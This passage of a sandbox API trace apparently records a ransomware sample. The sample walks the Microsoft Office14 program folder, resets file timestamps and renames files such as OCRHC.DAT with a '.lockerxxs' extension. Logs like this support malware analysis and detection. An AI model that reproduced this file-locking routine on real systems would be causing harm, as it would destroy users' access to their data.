dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7MODELS0009.dll", cAlternateFileName="NL7MOD~3.DLL")) returned 1 [0066.237] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.238] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a36d00, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa7323800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56a36d00, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x5ef3b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7MODELS000A.dll", cAlternateFileName="NL7MOD~1.DLL")) returned 1 [0066.238] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.238] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c1cc400, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa4b90a40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3c1cc400, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x5697b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7MODELS000C.dll", cAlternateFileName="NL7MOD~2.DLL")) returned 1 [0066.238] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.238] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b465500, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x6a513ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b465500, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x652bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7Models0011.DLL", cAlternateFileName="NL7MOD~4.DLL")) returned 1 [0066.238] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.238] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42d95200, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42d95200, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NPAUTHZ.DLL", cAlternateFileName="")) returned 1 [0066.238] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.238] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bc1b000, ftCreationTime.dwHighDateTime=0x1cbe56f, ftLastAccessTime.dwLowDateTime=0xe07baf60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1bc1b000, ftLastWriteTime.dwHighDateTime=0x1cbe56f, nFileSizeHigh=0x0, nFileSizeLow=0x1ceb168, dwReserved0=0x0, dwReserved1=0x0, cFileName="OART.DLL", cAlternateFileName="")) returned 1 [0066.239] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.239] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b7fea00, ftCreationTime.dwHighDateTime=0x1cac1ed, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fea00, ftLastWriteTime.dwHighDateTime=0x1cac1ed, nFileSizeHigh=0x0, nFileSizeLow=0x124e978, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARTCONV.DLL", cAlternateFileName="")) returned 1 [0066.239] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.239] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x6b251510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xd00c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCRHC.DAT", cAlternateFileName="")) returned 1 [0066.239] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.244] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.244] CloseHandle (hObject=0x88) returned 1 [0066.244] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRHC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\ocrhc.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRHC.DAT.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\ocrhc.dat.lockerxxs")) returned 1 [0066.246] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xa00c, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="OCRVC.DAT", cAlternateFileName="")) returned 1 [0066.246] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.252] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.252] CloseHandle (hObject=0x88) returned 1 [0066.252] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRVC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\ocrvc.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRVC.DAT.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\ocrvc.dat.lockerxxs")) returned 1 [0066.253] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a5b300, ftCreationTime.dwHighDateTime=0x1ca99c5, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67a5b300, ftLastWriteTime.dwHighDateTime=0x1ca99c5, nFileSizeHigh=0x0, nFileSizeLow=0x1c99, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="OEMPRINT.CAT", cAlternateFileName="")) returned 1 [0066.253] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.253] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e266b00, ftCreationTime.dwHighDateTime=0x1cbd863, ftLastAccessTime.dwLowDateTime=0xdb444c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e266b00, ftLastWriteTime.dwHighDateTime=0x1cbd863, nFileSizeHigh=0x0, nFileSizeLow=0x961380, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFOWC.DLL", cAlternateFileName="")) returned 1 [0066.254] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.255] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39d43b00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x59759dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39d43b00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x123e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFRHD.DLL", cAlternateFileName="")) returned 1 [0066.255] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.255] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54f27b00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x5977ff30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54f27b00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x7d778, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFXML.DLL", cAlternateFileName="")) returned 1 [0066.255] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.255] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32a39900, ftCreationTime.dwHighDateTime=0x1c6f3cf, ftLastAccessTime.dwLowDateTime=0x5977ff30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32a39900, ftLastWriteTime.dwHighDateTime=0x1c6f3cf, nFileSizeHigh=0x0, nFileSizeLow=0x9bb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="ogalegit.dll", cAlternateFileName="")) returned 1 [0066.255] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.255] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfc62000, ftCreationTime.dwHighDateTime=0x1cb6ffe, ftLastAccessTime.dwLowDateTime=0xdd1216c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbfc62000, ftLastWriteTime.dwHighDateTime=0x1cb6ffe, nFileSizeHigh=0x0, nFileSizeLow=0x4bc778, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIMG.DLL", cAlternateFileName="")) returned 1 [0066.256] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.256] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58faa00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd79f3100, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd58faa00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x49168, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS.EXE", cAlternateFileName="")) returned 1 [0066.256] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.256] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58faa00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd7afdaa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd58faa00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x175970, dwReserved0=0x0, dwReserved1=0x0, cFileName="OISAPP.DLL", cAlternateFileName="")) returned 1 [0066.256] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.256] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc74da00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x6bd53ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc74da00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x6988, dwReserved0=0x0, dwReserved1=0x0, cFileName="oisctrl.dll", cAlternateFileName="")) returned 1 [0066.256] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.256] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58faa00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd7b23c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd58faa00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x59f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="OISGRAPH.DLL", cAlternateFileName="")) returned 1 [0066.256] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.257] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6bd9fd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x3f580, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLKFSTUB.DLL", cAlternateFileName="")) returned 1 [0066.257] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.257] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42068a00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42068a00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0x1374c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLKIRM.XML", cAlternateFileName="")) returned 1 [0066.257] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.257] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42068a00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x6bd9fd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42068a00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0x13594, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLKIRMV.XML", cAlternateFileName="")) returned 1 [0066.257] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.257] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6be5e470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x44ab80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLMAPI32.DLL", cAlternateFileName="")) returned 1 [0066.257] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.257] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e85b00, ftCreationTime.dwHighDateTime=0x1c9e5a5, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e85b00, ftLastWriteTime.dwHighDateTime=0x1c9e5a5, nFileSizeHigh=0x0, nFileSizeLow=0x172bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMML2MML.XSL", cAlternateFileName="")) returned 1 [0066.257] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.258] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46c75c00, ftCreationTime.dwHighDateTime=0x1cab8a7, ftLastAccessTime.dwLowDateTime=0x6be845d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46c75c00, ftLastWriteTime.dwHighDateTime=0x1cab8a7, nFileSizeHigh=0x0, nFileSizeLow=0x10d980, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSMAIN.DLL", cAlternateFileName="")) returned 1 [0066.258] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.258] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46c75c00, ftCreationTime.dwHighDateTime=0x1cab8a7, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46c75c00, ftLastWriteTime.dwHighDateTime=0x1cab8a7, nFileSizeHigh=0x0, nFileSizeLow=0x59d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSXP32.DLL", cAlternateFileName="")) returned 1 [0066.258] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.258] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82531f00, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82531f00, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xc4390, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnIE.dll", cAlternateFileName="")) returned 1 [0066.258] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.258] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8121f200, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x6be845d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8121f200, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0x91390, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnIELinkedNotes.dll", cAlternateFileName="ONBTTN~1.DLL")) returned 1 [0066.258] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.258] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee925900, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6beaa730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee925900, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdbd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnOL.dll", cAlternateFileName="")) returned 1 [0066.258] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.259] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82531f00, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x6bed0890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82531f00, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0x9d580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnPPT.dll", cAlternateFileName="ONBTTN~2.DLL")) returned 1 [0066.260] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.260] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8121f200, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x6bed0890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8121f200, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0x9d578, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnWD.dll", cAlternateFileName="")) returned 1 [0066.260] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.260] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c1f0570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote", cAlternateFileName="")) returned 1 [0066.260] lstrcmpA (lpString1=".", lpString2="OneNote") returned -1 [0066.260] lstrcmpA (lpString1="..", lpString2="OneNote") returned -1 [0066.260] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c1f0570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f81a6, cFileName=".", cAlternateFileName="")) returned 0x502518 [0066.264] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0066.264] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c1f0570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0066.264] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0066.264] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0066.264] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fd1300, ftCreationTime.dwHighDateTime=0x1c8e623, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5fd1300, ftLastWriteTime.dwHighDateTime=0x1c8e623, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SendToOneNote-PipelineConfig.xml", cAlternateFileName="SENDTO~1.XML")) returned 1 [0066.264] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.266] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, 